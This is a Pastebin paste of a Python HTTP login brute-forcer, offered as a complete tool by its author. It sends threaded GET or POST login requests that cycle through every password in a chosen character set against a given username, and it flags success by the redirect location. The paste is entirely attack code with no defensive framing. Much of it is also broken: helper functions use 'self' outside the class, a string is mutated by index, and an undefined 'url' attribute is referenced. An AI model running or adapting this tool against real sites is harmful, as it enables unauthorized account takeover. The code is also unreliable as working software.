Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.99 KB | None | 0 0
  1. import argparse
  2. import sys
  3. import os
  4. import threading
  5. from HttpLogin import HttpLogin
  6.  
  7. def main(thread_pool, event):
  8. for i in range(len(thread_pool)):
  9. try:
  10. thread_pool[i].join()
  11. except:
  12. event.set()
  13.  
  14. parser = argparse.ArgumentParser(description="A complete Http Bruteforcer by St3veR0nix", )
  15.  
  16. Required = parser.add_argument_group("required arguments")
  17. Required.add_argument("-u", "--url", type=str, required=True, help="Set the target url")
  18. Required.add_argument("-p", "--port", type=int, required=True, help="Port number")
  19. Required.add_argument("-U", "--username", type=str, required=True, help="The Username to use for login")
  20. Required.add_argument("-a", "--uri", type=str, required=True, help="A reference URI for knowing if the login was succesfull, like /example.php")
  21. Required.add_argument("-up", "--user-parameter", required=True, help="The parameter for the user in http body request")
  22. Required.add_argument("-pp", "--pass-parameter", required=True, help="The parameter for the password in http body request")
  23. parser.add_argument("-c", "--char", type=int, required=False, default=1, help="Character set: < 1 = a-z, 2 = 0-9, 3 = A-Z, 4 = a-z0-9, 5 = A-Z0-9, 6 = a-zA-Z0-9 >")
  24. parser.add_argument("-m", "--min", type=int, required=False, default=1, help="Minimum length of permutations, default=1")
  25. parser.add_argument("-M", "--max", type=int, required=False, default=1, help="Maximum length of permutations, default=1")
  26. parser.add_argument("-r", "--request-method", type=str, required=False, default="GET", help="The request method, GET or POST, default=GET" )
  27. parser.add_argument("-b", "--body", type=str, required=False, default="", help="Additional http body parameters, must be like example=test or example=test&example2=test2 and so on")
  28. args = parser.parse_args()
  29.  
  30. print("Setting target URL to " + args.url + " on port " + str(args.port) + "...")
  31.  
  32. print("Setting method of the request to " + args.request_method + "...")
  33.  
  34. print("Setting " + str(args.max) + " threads for permutations...")
  35.  
  36. print("nStarting Bruteforce with username " + args.username)
  37.  
  38. character_dictionary = {
  39.  
  40. 1 : ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm','n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'],
  41. 2 : ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
  42. 3 : ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
  43. 'N','O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'],
  44. 4 : ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  45. 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
  46. '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
  47. 5 : ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
  48. 'N','O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z',
  49. '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
  50. 6 : ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  51. 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
  52. 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
  53. 'N','O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z',
  54. '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
  55. }
  56.  
  57. characters = character_dictionary[args.char]
  58. perm = args.min
  59. thread_pool = []
  60. event = threading.Event()
  61. for i in range(args.max):
  62. if perm > args.max:
  63. break
  64.  
  65. bf = HttpLogin(args.url, args.port, perm, characters, args.uri, args.user_parameter, args.pass_parameter, args.username, args.body, args.request_method, event)
  66.  
  67. if perm <= args.max:
  68. thread_pool.append(bf)
  69. thread_pool[i].start()
  70. perm += 1
  71.  
  72. main(thread_pool, event)
  73.  
  74. import threading
  75. import requests
  76.  
  77. class HttpLogin(threading.Thread):
  78.  
  79. host = ""
  80. port = 0
  81. perm = 0
  82. char_set= []
  83. URI = "/"
  84. user_p = ""
  85. passwd_p = ""
  86. username = ""
  87. http_method = "GET"
  88. event = threading.Event()
  89. body = ""
  90. data = {}
  91.  
  92. def __init__(self, host, port, perm, char_set, URI, user_p, passwd_p, username, body, http_method, event):
  93. threading.Thread.__init__(self)
  94. self.host = host
  95. self.port = port
  96. self.perm = perm
  97. self.char_set = char_set
  98. self.URI = URI
  99. self.user_p = user_p
  100. self.passwd_p = passwd_p
  101. self.username = username
  102. self.http_method = http_method
  103. self.event = event
  104. self.body = body
  105.  
  106. self.data[self.user_p] = self.username
  107. try:
  108. splitted_body = self.body.split("&")
  109. for s in splitted_body:
  110. try:
  111. parameter = s.split("=")[0]
  112. value = s.split("=")[1]
  113. self.data[parameter] = value
  114. except:
  115. pass
  116. except:
  117. splitted_body = self.body.split("=")
  118. self.data[splitted_body[0]] = splitted_body[1]
  119.  
  120. def run(self):
  121. while not self.event.is_set():
  122. buf = self.char_set[0] * self.perm
  123. try:
  124. send_permutations(buf, len(buf), self.char_set)
  125. except:
  126. pass
  127.  
  128. def send_permutations(buf, buf_l, char_set):
  129. i = buf_l - 1
  130. if i < 0:
  131. return
  132.  
  133. for c in char_set:
  134. buf[i] = c
  135. print(buf)#, end="r")
  136. try:
  137. res = sendlogin(buf)
  138. if isLogin(res) == True:
  139. print("nnPassword Found! --> " + buf)
  140. self.event.set()
  141. except:
  142. pass
  143. send_permutations(buf, buf_l -1, char_set)
  144.  
  145. def sendlogin(password):
  146. self.data[self.passwd_p] = password
  147. res = None
  148. if self.http_method == "GET":
  149. res = requests.get(self.url, data=self.data)
  150. elif self.http_method == "POST":
  151. res = requests.post(self.url, data=self.data)
  152.  
  153. return res
  154.  
  155. def isLogin(res):
  156. for i in res.history:
  157. if i.headers['location'] == self.uri:
  158. return True
  159. return False
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement